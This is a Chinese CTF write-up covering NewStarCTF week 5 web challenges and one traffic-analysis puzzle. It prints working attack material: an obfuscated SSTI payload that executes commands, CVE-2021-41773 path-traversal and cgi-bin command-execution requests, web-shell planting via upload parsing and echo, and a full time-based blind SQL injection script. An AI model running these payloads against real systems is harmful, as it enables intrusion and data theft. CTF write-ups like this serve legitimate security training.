NewStarCTF 公开赛赛道 week5|web wp

我用事实证明了我是一个奇葩,哈哈,不过后面做出来了

这里点评一下,ssti最简单,Apache最麻,不过吧,终于是再次当了一回ak佬,哈哈哈

NewStarCTF 公开赛赛道 week5|web wp_第1张图片

web

Give me your photo PLZ

这一题是我最后做出来的,确实是我想的太麻烦了。。。。渲染,我把他想过头了

最后简单的想一想就做出来。。。

因为他的解析漏洞,例如1.php.1111,过滤只看1111,但是系统不认识1111,就会往前寻找,PHP他认识,就会当做php文件执行。

我们创建一个文件里面内容为


修改文件名为11.php.lsajdkf

这个后缀就是随便的

上传之后用蚁剑连接

注:这里是不是有错别字,咳咳,谁去嘲讽一下烨

查看flag,得到提示flag在env里面,env就是环境变量

NewStarCTF 公开赛赛道 week5|web wp_第2张图片

好了下一题

BabySSTI_Three

这个是简单的,就是相比较于ssit2多加了一个过滤 _ (下划线)

这里我们直接把ssti2的payload拿过来改一下,想看详细一点的,可以看我的第三周的学习记录的ssti1,那个要详细一点

我们这里将 _ 16进制编码一下就行

payload:?name={{[]['\x5f\x5fcl''ass\x5f\x5f']['\x5f\x5fba''se\x5f\x5f']['\x5f\x5fsubc''lasses\x5f\x5f']()[117]['\x5f\x5fin''it\x5f\x5f']['\x5f\x5fglo''bals\x5f\x5f']['po''pen']('\u0063\u0061\u0074\u0020\u002f\u0066\u006c\u0061\u0067\u005f\u0069\u006e\u005f\u0068\u0033\u0072\u0033\u005f\u0035\u0032\u0064\u0061\u0061\u0064').read()}}

 NewStarCTF 公开赛赛道 week5|web wp_第3张图片

得到flag,走下一个

Unsafe Apache

NewStarCTF 公开赛赛道 week5|web wp_第4张图片

这个进去就给了一个304的包,其他什么都没有,扫后台只有一个index.html和一个404/cgi-bin

这里我比较愁诶,但是我的学长突发的说“感觉It works!”是一个nginx还是什么的漏洞,我以为是提示,直接翻译过来工作原理。。。。给我看的有点麻,但是经过突发的提示,我就比较有思路了

找到了他的漏洞Apache HTTP Server漏洞(CVE-2021-41773 - 目录穿越引起的文件读取与命令执行)

先测试漏洞,是可以的。

NewStarCTF 公开赛赛道 week5|web wp_第5张图片

GET传/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd

 接下来进行命令执行

NewStarCTF 公开赛赛道 week5|web wp_第6张图片

POST传POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/bash

echo;ls

So Baby RCE Again

代码

 这里我们是通过shell_exec这个函数来执行命令,但是这个函数他只执行并不回显。

所以我们要通过其他方法来来获得他的回显。

这里我第一个想到的是反弹shell,这里禁用bash,那时候我想到的就是反弹shell,因为bash被禁了,我们可以使用/bin/sh或者/bin/ba?h一样的

还不会公网反弹shell这里有个可以让大家了解一下  公网反弹shell 和 J1an

但是这里提醒一下这个并不能获得flag,原因我询问大佬,说的是因为不能出网,shell反弹不了

但是他这里并没禁用一些东西,我们可以写个马进去。

这里我使用,下面这个先进行测试

?cmd=echo "" > 1.php

 接下来直接访问1.php就行了

可以访问,这里先看到,再去看看根目录

 发现了flag,但是发现读取不了,怀疑是空或者权限太低了,这里我们写一个马进去看看

在liunx写马大家要记住

正确的写法:   是要加一个反斜杠的

不正确写马就会这样

 NewStarCTF 公开赛赛道 week5|web wp_第7张图片

 你会发现$_POST[1]不见了

所以这里给大家提一个醒,顺便把windows的正确写法放在

echo ^ > 1.txt

这里我们写一个马进去看看

NewStarCTF 公开赛赛道 week5|web wp_第8张图片

果然我们没有读取flag的权限

我原本想到的是写一个root权限用户,覆盖passwd

但是想到还有个命令可以越权读取的

这里我们使用

date -f ffll444aaggg

读取flag

Final round

说实在的这个已经提醒了

啊呜,好困呜呜~~~ 困莫,sleep延时莫,所以就是sleep延时注入莫

因为测试出了一点小问题,这里就不进行详细讲了,尤其他是进行GET传输的,不是post,这还要多谢大佬的提醒,还是做的太少了

脚本的话把上周的脚本改一下就能用

import requests
import time

s = requests.session()
url = 'http://c6397a81-710d-4e9b-8c25-3ce292acfea5.node4.buuoj.cn:81/comments.php?name='
flag = ''
i = 0
d = 0
while d == 0:
    i = i + 1
    low = 32
    high = 127
    while low < high:
        mid = (low + high) // 2
        # payload = f'1%0cand%0cif((ascii(substr(database(),{i},1))>{mid}),1,sleep(3))'
        # payload = f'1%0cand%0cif(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{i},1))>{mid},1,sleep(3))'
        # payload = f'1%0cand%0cif(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name="wfy_comments")),{i},1))>{mid},1,sleep(3))'
        payload = f'1%0cand%0cif(ascii(substr((select(text)from(wfy_comments)where(user="f1ag_is_here")),{i},1))>{mid},1,sleep(3))'
        stime = time.time()
        url1 = url + payload
        r = s.get(url=url1)
        r.encoding = "utf-8"
        print(payload)
        if time.time() - stime < 2:
            low = mid + 1
        else:
            high = mid
    if low != 32:
        flag += chr(low)
    else:
        break
    print(flag)

加油各位!

这里顺便赠送一道misc(说实话就会这一道,哈哈哈)

最后的流量分析

NewStarCTF 公开赛赛道 week5|web wp_第9张图片

都是http的包先过滤一下http看看

NewStarCTF 公开赛赛道 week5|web wp_第10张图片

这里我们看到了,其实这就是在进行盲注,而且是在读取文件了

NewStarCTF 公开赛赛道 week5|web wp_第11张图片

所以我们就找它与下一个数字的最后一个数字的值

所以第一个就是f

找下来就能得到flag

flag为flag{c84bb04a-8663-4ee2-9449-349f1ee83e11}

你可能感兴趣的:(CTF,php,开发语言,经验分享,学习,bash)